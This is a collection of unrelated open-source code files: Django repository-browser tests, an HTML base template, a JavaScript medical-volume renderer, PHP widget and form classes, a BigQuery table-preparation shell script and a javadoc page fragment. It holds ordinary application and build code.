{'name': 'b', 'path': 'b', 'type': 'd', 'url': 'b'}, {'name': 'a', 'path': 'a', 'type': 'f', 'url': 'a'}, ] self.assertEqual(result, expected) def test_get_directory_contents4(self): '''Test sort key parameter''' result = shortcuts.get_directory_contents(self.repo, self.rev1, '/', key=lambda e: e.type) expected = [ {'name': 'b', 'path': 'b', 'type': 'd', 'url': 'b'}, {'name': 'a', 'path': 'a', 'type': 'f', 'url': 'a'}, {'name': 'd', 'path': 'd', 'type': 'l'}, ] self.assertEqual(result, expected) def test_get_directory_contents5(self): '''Test resolve_commits''' result = [e.log.rev for e in shortcuts.get_directory_contents(self.repo, self.rev1, '/', resolve_commits=True)] expected = [self.rev1] * 3 self.assertEqual(result, expected) def test_get_directory_contents_subdir1(self): '''Basic usage''' result = shortcuts.get_directory_contents(self.repo, self.rev1, '/b') expected = [ {'name': '..', 'path': '', 'type': 'd', 'url': '..'}, {'name': 'c', 'path': 'b/c', 'type': 'f', 'url': 'c'}, ] self.assertEqual(result, expected) def test_get_directory_contents_subdir2(self): '''Disallow parent paths''' result = shortcuts.get_directory_contents(self.repo, self.rev1, '/b', parents=False) expected = [ {'name': 'c', 'path': 'b/c', 'type': 'f', 'url': 'c'}, ] self.assertEqual(result, expected) def test_get_directory_contents_subdir3(self): '''Using a custom reverse_func''' def reverse_func(e): return 'http://example.com/repo/' + e.path result = shortcuts.get_directory_contents(self.repo, self.rev1, '/b', reverse_func=reverse_func) expected = [ {'name': '..', 'path': '', 'type': 'd', 'url': 'http://example.com/repo/'}, {'name': 'c', 'path': 'b/c', 'type': 'f', 'url': 'http://example.com/repo/b/c'}, ] self.assertEqual(result, expected) def test_render_file1(self): '''Basic text gets rendered into the template''' result = shortcuts.render_file('raw.html', self.repo, self.rev3, '/text.txt') self.assertEqual('text/html; charset=utf-8', result['Content-Type']) def test_render_file2(self): '''Raw argument adds mimetype and returns the file.''' result = shortcuts.render_file('raw.html', self.repo, self.rev3, '/text.txt', raw=True) self.assertEqual('text/plain', result['Content-Type']) def test_render_file3(self): '''Test raw flag with mimetype override''' result = shortcuts.render_file('raw.html', self.repo, self.rev3, '/text.txt', file_mimetype='text/x-csrc', raw=True) self.assertEqual('text/x-csrc', result['Content-Type']) def test_render_file4(self): '''Non-text files get passed through raw.''' result = shortcuts.render_file('raw.html', self.repo, self.rev3, '/binary.gz') self.assertEqual('application/octet-stream', result['Content-Type']) def test_render_file5(self): '''Encoding errors are properly raised.''' with self.assertRaises(DjangoUnicodeDecodeError): shortcuts.render_file('raw.html', self.repo, self.rev3, '/encoding.txt') def test_render_file6(self): '''The `catch_endcoding_errors` argument handles encoding errors.''' result = shortcuts.render_file('raw.html', self.repo, self.rev3, '/encoding.txt', catch_encoding_errors=True) self.assertEqual('text/plain', result['Content-Type']) def test_render_file7(self): '''Test the textfilter parameter''' def textfilter(contents, path, mimetype): self.assertIsInstance(contents, basestring) self.assertEqual('/text.txt', path) self.assertEqual('text/plain', mimetype) return 'test - ' + contents response = shortcuts.render_file('raw.html', self.repo, self.rev3, '/text.txt', textfilter=textfilter) content = response.content.decode('utf8') self.assertEqual('test - hello\n\n', content) def test_render_file8(self): '''Test the context''' response = self.client.get('/browse/repo/%s/text.txt' % self.rev3) self.assertEqual(self.repo.pk, response.context['repo'].pk) self.assertEqual('/text.txt', response.context['path']) self.assertEqual(self.rev3, response.context['rev']) self.assertIsInstance(response.context['contents'], basestring) class DiskSizeTestCase(BaseTestCase): ''' Test Repo.disk_size attribute and related functionality. ''' def setUp(self): super(DiskSizeTestCase, self).setUp() self.repo = Repo(name='repo', vcs='git') self.repo.full_clean() self.repo.save() def test_zero(self): '''Starts off at zero''' repo = Repo(name='testrepo') self.assertEqual(0, repo.disk_size) def test_created1(self): '''Once on disk the tally is updated''' self.assertGreater(self.repo.disk_size, 0) def test_created2(self): '''The value is also saved to the database''' repo = Repo.objects.get(pk=self.repo.pk) self.assertGreater(repo.disk_size, 0) def test_private_path1(self): '''Ignores .private directory if configured''' ignore = settings.VCSREPO_IGNORE_PRIVATE settings.VCSREPO_IGNORE_PRIVATE = True try: disk_size = self.repo.disk_size path = os.path.join(self.repo.repo.private_path, 'test-file') with open(path, 'w') as fp: fp.write('X' * 40) self.repo.recalculate_disk_size() self.assertEqual(disk_size, self.repo.disk_size) finally: settings.VCSREPO_IGNORE_PRIVATE = ignore def test_private_path2(self): '''Considers .private directory if configured''' ignore = settings.VCSREPO_IGNORE_PRIVATE settings.VCSREPO_IGNORE_PRIVATE = False try: disk_size = self.repo.disk_size path = os.path.join(self.repo.repo.private_path, 'test-file') with open(path, 'w') as fp: fp.write('X' * 40) self.repo.recalculate_disk_size() self.assertEqual(40 + disk_size, self.repo.disk_size) finally: settings.VCSREPO_IGNORE_PRIVATE = ignore def setup_git(**kw): cmd = [GIT, 'config', 'user.name', 'Test User'] subprocess.check_call(cmd, **kw) cmd = [GIT, 'config', 'user.email', 'test@example.com'] subprocess.check_call(cmd, **kw)
ClemsonSoCUnix/django-anyvcs
django_anyvcs/tests.py
Python
bsd-3-clause
41,697
{% load staticfiles i18n %}<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>{% block title %}Tucat{% endblock title %}</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content=""> <meta name="author" content="Antoine Brunel"> <!-- HTML5 shim, for IE6-8 support of HTML5 elements --> <!--[if lt IE 9]> <script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script> <![endif]--> <link rel="icon" href="{% static 'images/favicons/favicon.ico' %}"> {% block css %} <!-- Latest compiled and minified CSS --> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous"> <!-- Your stuff: Third-party css libraries go here --> <!-- This file store project specific CSS --> <link href="{% static 'css/project.css' %}" rel="stylesheet"> {% endblock %} </head> <body> <div class="m-b-1"> <nav class="navbar navbar-expand-md navbar-light bg-light"> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <!--<a class="logo pull-left" href="{% url 'home' %}"><img class="logo" style="display:none;" src="/media/admin-interface/logo/vectorstock_13696603_SLyn4tz.png"></a>--> <!--<a class="navbar-brand" href="{% url 'home' %}"><img class="logo" style="display:none;" src="/media/admin-interface/logo/vectorstock_13696603_SLyn4tz.png">TUCAT</a>--> <a class="navbar-brand" href="{% url 'home' %}"><img class="logo" style="display:none;" src="/static/images/logo/happy-tucat.png"></a> <a class="navbar-brand" href="{% url 'home' %}">TUCAT</a> <div class="collapse navbar-collapse" id="navbarSupportedContent"> <ul class="navbar-nav mr-auto"> <li class="nav-item active"> <a class="nav-link" href="{% url 'home' %}">Home <span class="sr-only">(current)</span></a> </li> {% if request.user.is_authenticated %} <li class="nav-item"> {# URL provided by django-allauth/account/urls.py #} <a class="nav-link" href="{% url 'admin:index' %}">{% trans "Admin" %}</a> </li> <li class="nav-item"> {# URL provided by django-allauth/account/urls.py #} <a class="nav-link" href="{% url 'account_logout' %}">{% trans "Sign Out" %}</a> </li> {% else %} <li class="nav-item"> {# URL provided by django-allauth/account/urls.py #} <a id="sign-up-link" class="nav-link" href="{% url 'account_signup' %}">{% trans "Sign Up" %}</a> </li> <li class="nav-item"> {# URL provided by django-allauth/account/urls.py #} <a id="log-in-link" class="nav-link" href="{% url 'account_login' %}">{% trans "Sign In" %}</a> </li> {% endif %} </ul> </div> </nav> </div> </div> <div class="container"> {% if messages %} {% for message in messages %} <div class="alert {% if message.tags %}alert-{{ message.tags }}{% endif %}">{{ message }}</div> {% endfor %} {% endif %} {% block content %} <p>Use this document as a way to quick start any new project.</p> {% endblock content %} </div> <!-- /container --> {% block modal %}{% endblock modal %} <!-- Le javascript ================================================== --> <!-- Placed at the end of the document so the pages load faster --> {% block javascript %} <!-- Required by Bootstrap v4.1.1 --> <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script> <!-- Your stuff: Third-party javascript libraries go here --> <!-- place project specific Javascript in this file --> <script src="{% static 'js/project.js' %}"></script> {% endblock javascript %} </body> </html>
natoinet/tucat
tucat/templates/base.html
HTML
bsd-3-clause
4,830
/*** Imports ***/ var papaya = papaya || {}; papaya.viewer = papaya.viewer || {}; /*** Constructor ***/ papaya.viewer.Vr = papaya.viewer.Vr || function (width, height, screenVols) { this.screenVolumes = screenVols; this.xDim = width; this.yDim = height; }; var maxIntensity = 255; papaya.viewer.Vr.getAlphaValueForVoxel = function (greyScaleColor) { var step = 1 / maxIntensity; return step * greyScaleColor; }; papaya.viewer.Vr.getVectorLength = function (vector) { return Math.sqrt(vector[0]*vector[0] + vector[1]*vector[1]); }; papaya.viewer.Vr.getDistanceBetweenTwoPoints = function (firstPoint, secondPoint) { var vectorBetweenTwoPoints = [firstPoint[0] - secondPoint[0], firstPoint[1] - secondPoint[1]]; return papaya.viewer.Vr.getVectorLength(vectorBetweenTwoPoints); }; papaya.viewer.Vr.getEndPoints = function (directionVector, pointOnLine, width, height, eye){ var normVector = [directionVector[1], directionVector[0]*(-1)]; var c = normVector[0]*pointOnLine[0] + normVector[1]*pointOnLine[1]; // Array that contains the viewport's four boundary lines' intersections with the crossing line var hit = []; var epsilon = 1; // In the first case the line is horizontal, in the second it is vertical, in the third it is diagonal, // therefore the number of intersections change accordingly. The intersections can be calculated from the // equation of the a line that can be given from the normal vector and a point on the line if(Math.abs(directionVector[1]) < epsilon) { hit[0] = [0, pointOnLine[1]]; hit[1] = [width, pointOnLine[1]]; } else if (Math.abs(directionVector[0]) < epsilon) { hit[0] = [pointOnLine[0], 0]; hit[1] = [pointOnLine[0], height]; } else { hit[0] = [0, c/normVector[1]]; hit[1] = [c/normVector[0], 0]; hit[2] = [width, (c-normVector[0]*width)/normVector[1]]; hit[3] = [(c-normVector[1]*height)/normVector[0], height]; } var endPoints = []; // If there are two intersections the endpoints are clear, but if there is more it should be investigated // which two is on the boundary of the viewport if(hit.length === 2) { //TODO: multiple checks not needed endPoints.push(hit[0]); endPoints.push(hit[1]); } else { for(var i = 0; i < hit.length; i++){ if(hit[i][0] >= 0 && hit[i][0] <= width && hit[i][1] >= 0 && hit[i][1] <= height) { endPoints.push(hit[i]); } } } //In case the line is not crossing the slice if(endPoints.length < 2) { endPoints[0] = [0,0]; endPoints[1] = [0,0]; }else if(papaya.viewer.Vr.getDistanceBetweenTwoPoints(endPoints[0], eye) > papaya.viewer.Vr.getDistanceBetweenTwoPoints(endPoints[1], eye)) { endPoints.reverse(); //TODO: examine only once } return endPoints; }; papaya.viewer.Vr.renderVr = function(pixels, VrRotationImage, cols, rows, slices, alpha, lineLength){ var diagonal = Math.round(Math.sqrt(rows*rows + cols*cols)); var distanceBetweenCenterAndEye = Math.round(diagonal*0.7); //TODO: is this the optimal? const center = [rows/2, cols/2]; var eye = [center[0] + Math.cos(alpha)*distanceBetweenCenterAndEye, center[1]+Math.sin(alpha)*distanceBetweenCenterAndEye]; var pointsOnLine = new Array(lineLength+1); var direction = [center[0]-eye[0], center[1]-eye[1]]; var directionLength = Math.sqrt(direction[0]*direction[0]+direction[1]*direction[1]); var normDirection = [direction[0]/directionLength, direction[1]/directionLength]; var normNormalVector = [normDirection[1], -normDirection[0]]; //recalculating points on line based on changing angle pointsOnLine[ Math.round(lineLength/2)] = eye; for(var i = 0; i < Math.round(lineLength/2); i++){ pointsOnLine[Math.round(lineLength/2)+i+1] = [eye[0]+normNormalVector[0]*(i+1), eye[1]+normNormalVector[1]*(i+1)]; //TODO: adding instead of multiplication pointsOnLine[Math.round(lineLength/2)-i-1] = [eye[0]-normNormalVector[0]*(i+1), eye[1]-normNormalVector[1]*(i+1)]; } // var pointsOnLineLenght = pointsOnLine.length; var endPoints = new Array(lineLength); var distanceBetweenEndpoints = new Array(lineLength); for(var i = 0; i < lineLength; i++) { endPoints[i] = papaya.viewer.Vr.getEndPoints(direction, pointsOnLine[i], rows, cols, eye); distanceBetweenEndpoints[i] = Math.round(Math.sqrt(Math.pow(endPoints[i][0][0] - endPoints[i][1][0], 2) + Math.pow(endPoints[i][0][1] - endPoints[i][1][1], 2))); } var brightness = 500; //calculate the lines that are needed to observed for the maximum value for(var oneSlice = 0; oneSlice < slices; oneSlice++){ for(var i = 0; i < endPoints.length; i++){ //Calculate initial color for first voxel in ray var firstVoxelLoc = [Math.round(endPoints[i][0][0]),Math.round(endPoints[i][0][1])]; var color = pixels[oneSlice*rows*cols + cols*firstVoxelLoc[0] + firstVoxelLoc[1]]; var intensity = (color/maxIntensity)*papaya.viewer.Vr.getAlphaValueForVoxel(color); for(var j = 1; j < Math.round(distanceBetweenEndpoints[i]); j++){ var newPointLocation = [Math.round(endPoints[i][0][0]+normDirection[0]*j),Math.round(endPoints[i][0][1]+normDirection[1]*j)]; //TODO: var pixelColor = pixels[oneSlice*rows*cols + cols*newPointLocation[0] + newPointLocation[1]]; //TODO: szorz�s el?re kisz�mol var pixelIntensity = (pixelColor/maxIntensity)*papaya.viewer.Vr.getAlphaValueForVoxel(pixelColor); intensity = intensity*(1-papaya.viewer.Vr.getAlphaValueForVoxel(pixelColor)) + pixelIntensity; } VrRotationImage[oneSlice*lineLength+i] = intensity*brightness; } } }; papaya.viewer.Vr.renderVrAsm = Module.cwrap('renderVR', 'number', ['number', 'number', 'number', 'number', 'number', 'number', 'number']); volBuffer = 0; vrBuffer = 0; pixBuffer = 0; papaya.viewer.Vr.updateVr = function(initialAngle, vrSlice) { var cols = vrSlice.screenVolumes[0].volume.header.imageDimensions.cols; var rows = vrSlice.screenVolumes[0].volume.header.imageDimensions.rows; var slices = vrSlice.screenVolumes[0].volume.header.imageDimensions.slices; var pixels = vrSlice.screenVolumes[0].volume.imageData.data; console.log("Rows: " + rows + ", Cols: " + cols + ", Slices: " + slices); var alpha = initialAngle; var diagonal = Math.round(Math.sqrt(rows*rows + cols*cols)); var lineLength = Math.round(diagonal*1.2); //TODO: is this the optimal? var c = document.getElementById("myCanvas3"); c.style.width = lineLength + "px"; c.style.height = slices + "px"; var ctx = c.getContext("2d"); ctx.canvas.width = lineLength; ctx.canvas.height = slices; var imageDataHekk = ctx.createImageData(lineLength, slices); var VrRotationImage = []; if(volBuffer === 0 || pixBuffer !== pixels){ // initial load, or the volume has changed if(volBuffer !== 0) { Module._free(volBuffer); } volBuffer = Module._malloc(pixels.length*pixels.BYTES_PER_ELEMENT); Module.HEAPU8.set(pixels, volBuffer); pixBuffer = pixels; } const vrSize = lineLength*slices; if(vrBuffer !== 0){ Module._free(vrBuffer); } vrBuffer = Module._malloc(vrSize); if(localStorage.getItem('asmMIP') == 'true'){ // c++ asm.js version console.log("Asm.js rendering enabled"); brightness = 1; console.log("volBuffer: "+volBuffer +" vrBuffer: "+vrBuffer); papaya.viewer.Vr.renderVrAsm(volBuffer, vrBuffer, cols, rows, slices, alpha, lineLength); for(var i = 0; i < vrSize; i++){ VrRotationImage[i] = Module.HEAPU8[vrBuffer+i]; } }else{ // javascript version papaya.viewer.Vr.renderVr(pixels, VrRotationImage, cols, rows, slices, alpha, lineLength); } for(var i = 0; i < VrRotationImage.length; i++){ //this.imageData[ctr][i] = displayedImage[i]; var intensity = VrRotationImage[i]; imageDataHekk.data[i*4] = intensity; imageDataHekk.data[i*4+1] = 0; imageDataHekk.data[i*4+2] = 0; imageDataHekk.data[i*4+3] = 255; } ctx.putImageData(imageDataHekk, 0, 0); var isMouseDown = false; c.addEventListener("mouseup", function (ev){ isMouseDown = false; }); c.addEventListener("mousedown", function(ev){ isMouseDown = true; }); c.addEventListener('mousemove', function(ev){ if(isMouseDown){ var start = performance.now(); alpha = alpha+ev.movementX/80; imageDataHekk = ctx.createImageData(lineLength, slices); var VrRotationImage = []; var beforeRendering = performance.now(); if(localStorage.getItem('asmMIP') == 'true'){ // c++ asm.js version papaya.viewer.Vr.renderVrAsm(volBuffer, vrBuffer, cols, rows, slices, alpha, lineLength); const vrSize = lineLength*slices; for(var i=0; i < vrSize; i++){ VrRotationImage[i] = Module.HEAPU8[vrBuffer+i]; } //VrRotationImage = Module.HEAPU8.subarray(vrBuffer, vrSize); } else { papaya.viewer.Vr.renderVr(pixels, VrRotationImage, cols, rows, slices, alpha, lineLength); } var afterRendering = performance.now(); for(var i = 0; i < VrRotationImage.length; i++){ //this.imageData[ctr][i] = displayedImage[i]; var intensity = VrRotationImage[i]; imageDataHekk.data[i*4] = intensity; imageDataHekk.data[i*4+1] = 0; imageDataHekk.data[i*4+2] = 0; imageDataHekk.data[i*4+3] = 255; } ctx.putImageData(imageDataHekk, 0, 0); var end = performance.now(); console.log("VR time: " + (afterRendering-beforeRendering) + "ms"); console.log("Total time: " + (end-start) + "ms"); } }); };
szofian/papaya
src/js/viewer/vr2.js
JavaScript
bsd-3-clause
10,224
<?php # Copyright 2013 Mike Thorn (github: WasabiVengeance). All rights reserved. # Use of this source code is governed by a BSD-style # license that can be found in the LICENSE file. class bsc_widget_address extends bsc_widget { function init() { $this->options['tag'] = 'address'; $this->option('title',''); $this->option('address1',''); $this->option('address2',''); $this->option('address3',''); $this->option('city',''); $this->option('region',''); $this->option('postal_code',''); $this->option('country',''); $this->option('phone',''); $this->option('fax',''); $this->option('email',''); $this->option('phone_prefix','T: '); $this->option('fax_prefix','F: '); $this->option('email_prefix','<i class="'.$__BSC['icons']['class_prefix'].'-envelope"></i>'); # this option can be used to add aliases for fields $this->option('fields',array( 'title'=>'title', 'address1'=>'address1', 'address2'=>'address2', 'address3'=>'address3', 'city'=>'city', 'region'=>'region', 'postal_code'=>'postal_code', 'country'=>'country', 'phone'=>'phone', 'fax'=>'fax', 'email'=>'email', )); $this->option('render_order',array('title','address1','address2','address3','city_region_postal_code','country','phone','fax','email')); $this->option('separator','<br />'); } protected function __get_value($data,$to_render) { $val = (array_key_exists($to_render,$this->options))?$this->options[$to_render]:null; if(array_key_exists($this->options['fields'].'',$data) && array_key_exists($to_render,$data[$this->options['fields']])) { if( $data[$this->options['fields'][$to_render]] != '' ) $val = $data[$this->options['fields'][$to_render]]; } return $val; } function render_start($data) { $html = parent::render_start($data); foreach($this->options['render_order'] as $to_render) { $val = $this->__get_value($data,$to_render); switch($to_render) { case 'title': if($val != '') $html .= '<strong>'.$val.'</strong>'.$this->options['separator']; break; case 'address1': case 'address2': case 'address3': case 'country': if($val != '') $html .= $val.$this->options['separator']; break; case 'city_region_postal_code': $val = $this->__get_value($data,'city'); $region = $this->__get_value($data,'region'); $postal = $this->__get_value($data,'postal_code'); if($val != '') { $html .= $val; if($region != '') { $html .= ', '.$region; } if($postal != '') { $html .= ' '.$postal; } $html .= $this->options['separator']; } break; case 'phone': case 'fax': if($val != '') $html .= $this->options[$to_render.'_prefix'].$val.$this->options['separator']; break; case 'email': if($val != '') $html .= $this->options['email_prefix'].'<a href="mailTo:'.$val.'">'.$val.'</a>'.$this->options['separator']; break; default: $html .= $val.$this->options['separator']; break; } } return $html; } } ?>
Dev-Lucid/BootstrapConstructor
lib/php/widgets/address.php
PHP
bsd-3-clause
3,105
#!/bin/bash # This script does the following # create and populate all prep_* tables. # create empty cb_* tables (criteria_* and survey_*) echo "-----------------------------------------------------------" echo "Started prep-tables at "`date` echo "PID "$$ set -e # vars are purposely hard-coded for iterative testing export BQ_PROJECT=$1 # project - 'all-of-us-ehr-dev' export BQ_DATASET=$2 # dataset - 'BillDummyMult' echo "Using run-type: mult, Dataset: $BQ_DATASET" echo "" ################################################ # CREATE EMPTY CB_CRITERIA RELATED TABLES ################################################ function timeIt(){ local e=$((SECONDS - $1)) echo "$e" } function createReplaceEmptyTables() { for table in "${empty_tables[@]}" do (bq rm -f --project_id=$BQ_PROJECT $BQ_DATASET.$table bq mk --project_id=$BQ_PROJECT $BQ_DATASET.$table ../../bq-schemas/$table.json) & pids[${i}]=$! done for pid in "${pids[@]}" ; do wait $pid done } function runScript(){ source "$1" "$2" "$3" echo "Running script $f done in - $(timeIt st_time) secs - total time - $(timeIt main_start) secs" echo "" } ## json schema for empty tables empty_tables=( cb_criteria cb_criteria_ancestor cb_criteria_attribute cb_survey_attribute cb_criteria_relationship prep_ancestor_staging prep_concept_ancestor prep_cpt_ancestor prep_atc_rel_in_data prep_loinc_rel_in_data prep_snomed_rel_cm_in_data prep_snomed_rel_cm_src_in_data prep_snomed_rel_meas_in_data prep_snomed_rel_pcs_in_data prep_snomed_rel_pcs_src_in_data ) script_start=$SECONDS createReplaceEmptyTables wait echo "Running scripts done making empty tables for populating data - $(timeIt $script_start) secs" ################################################ # These tables are needed for creating / populating prep_* tables ################################################ # make-bq-prep-concept-merged.sh #245 - #251 : prep_concept_merged : make-bq-criteria-tables.sh st_time=$SECONDS echo "Running script done populate prep_concept_merged..." ../make-bq-prep-concept-merged.sh $BQ_PROJECT $BQ_DATASET echo "Running script done populating prep_concept_merged - $(timeIt $st_time) secs - total time - $(timeIt script_start) secs" echo # make-bq-prep-concept-relationship-merged.sh #253 - #259 : prep_concept_relationship_merged : make-bq-criteria-tables.sh st_time=$SECONDS echo "Running script done populate prep_concept_relationship_merged..." ../make-bq-prep-concept-relationship-merged.sh $BQ_PROJECT $BQ_DATASET echo "Running scripts done populating prep_concept_relationship_merged - $(timeIt $st_time) secs - total time - $(timeIt script_start) secs" echo "Running scripts to create and populate prep_* tables started after $(timeIt $script_start) secs" ################################################ # These prep_* tables can be created / populated independently/in-parallel # as they are not dependent on prep tables from other domain/type(?) ############################################### ## TODO check EXIST required tables? prep_tables=( ../make-bq-prep-icd10-rel-cm-src-tables.sh ../make-bq-prep-icd10pcs-rel-src-tables.sh ../make-bq-prep-snomed-rel-cm-tables.sh ../make-bq-prep-loinc-rel-tables.sh ../make-bq-prep-snomed-rel-meas-tables.sh ../make-bq-prep-atc-rel-in-data.sh ../make-bq-prep-snomed-rel-pcs-tables.sh ) for f in "${prep_tables[@]}"; do st_time=$SECONDS runScript "$f" "$BQ_PROJECT" "$BQ_DATASET" & sleep 1 done # wait for all prep_pids to complete wait echo "Running scripts done creating and populating all prep tables for cb_criteria total time $(timeIt script_start) secs" echo "###########################################################################" echo "# Running script for cb_criteria main tables....run time reset to 0 secs #" echo "###########################################################################" #source make-cb-criteria-00-main-tables.sh "$BQ_PROJECT" "$BQ_DATASET" "$run_in_parallel" # vars are purposely hard-coded #source make-cb-criteria-00-main-tables.sh "$run_in_parallel" wait echo "Running all scripts done total time $(timeIt script_start)" echo "" echo "Ended prep and main tables at "`date` echo "-----------------------------------------------------------" exit 0
all-of-us/workbench
api/db-cdr/generate-cdr/cb-criteria-parallel/debug/make-cb-criteria-00-prep-tables.sh
Shell
bsd-3-clause
4,269
<?php /** * Profile edit form * * @author kouks */ namespace Admin\Form; use Zend\Form\Form; use Zend\InputFilter\InputFilter; class ProfileEditForm extends Form { public function __construct( ) { parent::__construct('profile-edit'); $this->add(array( 'name' => 'full_name', 'type' => 'text', 'attributes' => array( 'placeholder' => 'Your full name', ), )); $this->add(array( 'name' => 'email', 'type' => 'text', 'attributes' => array( 'placeholder' => 'E-mail', ), )); $this->add(array( 'name' => 'job', 'type' => 'text', 'attributes' => array( 'placeholder' => 'Your position in company', ), )); $this->add(array( 'name' => 'desc', 'type' => 'textarea', 'attributes' => array( 'placeholder' => 'Something about yourself', ), )); $this->add(array( 'name' => 'img', 'type' => 'hidden', 'attributes' => array( 'id' => 'img', ), )); $this->add(array( 'name' => 'displayed', 'type' => 'Zend\Form\Element\Checkbox', 'attributes' => array( 'checked_value' => 1, 'unchecked_value' => 0, ), )); $this->add(array( 'name' => 'submit', 'attributes' => array( 'class' => 'hvr-grow' ), )); } public function addInputFilter() { $inputFilter = new InputFilter(); $inputFilter->add(array( 'name' => 'full_name', 'required' => true, 'filters' => array( array('name' => 'StripTags'), array('name' => 'StringTrim'), ), 'validators' => array( array( 'name' => 'StringLength', 'options' => array( 'encoding' => 'UTF-8', 'min' => 2, 'max' => 30, ), ), ), )); $inputFilter->add(array( 'name' => 'job', 'required' => true, 'filters' => array( array('name' => 'StripTags'), array('name' => 'StringTrim'), ), 'validators' => array( array( 'name' => 'StringLength', 'options' => array( 'encoding' => 'UTF-8', 'min' => 1, 'max' => 25, ), ), ), )); $inputFilter->add(array( 'name' => 'email', 'required' => true, 'filters' => array( array('name' => 'StripTags'), array('name' => 'StringTrim'), ), 'validators' => array( array( 'name' => 'StringLength', 'options' => array( 'encoding' => 'UTF-8', 'min' => 3, 'max' => 100, ), ), array( 'name' => 'EmailAddress', 'options' =>array( 'domain' => 'true', 'hostname' => 'true', 'mx' => 'true', 'deep' => 'true', 'message' => 'Invalid email address', ), ) ), )); $inputFilter->add(array( 'name' => 'desc', 'required' => true, 'filters' => array( array('name' => 'StripTags'), array('name' => 'StringTrim'), ), 'validators' => array( array( 'name' => 'StringLength', 'options' => array( 'encoding' => 'UTF-8', 'min' => 20, 'max' => 300, ), ), ), )); $this->setInputFilter( $inputFilter ); } }
KouKs/Sleanded
module/Admin/src/Admin/Form/ProfileEditForm.php
PHP
bsd-3-clause
4,614
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!--NewPage--> <HTML> <HEAD> <!-- Generated by javadoc (build 1.6.0_03-p3) on Mon May 16 16:28:35 EDT 2011 --> <TITLE> Uses of Class hipi.container.Pair </TITLE> <META NAME="date" CONTENT="2011-05-16"> <LINK REL ="stylesheet" TYPE="text/css" HREF="../../../stylesheet.css" TITLE="Style"> <SCRIPT type="text/javascript"> function windowTitle() { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="Uses of Class hipi.container.Pair"; } } </SCRIPT> <NOSCRIPT> </NOSCRIPT> </HEAD> <BODY BGCOLOR="white" onload="windowTitle();"> <HR> <!-- ========= START OF TOP NAVBAR ======= --> <A NAME="navbar_top"><!-- --></A> <A HREF="#skip-navbar_top" title="Skip navigation links"></A> <TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY=""> <TR> <TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A NAME="navbar_top_firstrow"><!-- --></A> <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY=""> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../hipi/container/Pair.html" title="class in hipi.container"><FONT CLASS="NavBarFont1"><B>Class</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Use</B></FONT>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-files/index-1.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD> </TR> </TABLE> </TD> <TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM> </EM> </TD> </TR> <TR> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> &nbsp;PREV&nbsp; &nbsp;NEXT</FONT></TD> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../index.html?hipi/container//class-usePair.html" target="_top"><B>FRAMES</B></A> &nbsp; &nbsp;<A HREF="Pair.html" target="_top"><B>NO FRAMES</B></A> &nbsp; &nbsp;<SCRIPT type="text/javascript"> <!-- if(window==top) { document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>'); } //--> </SCRIPT> <NOSCRIPT> <A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A> </NOSCRIPT> </FONT></TD> </TR> </TABLE> <A NAME="skip-navbar_top"></A> <!-- ========= END OF TOP NAVBAR ========= --> <HR> <CENTER> <H2> <B>Uses of Class<br>hipi.container.Pair</B></H2> </CENTER> No usage of 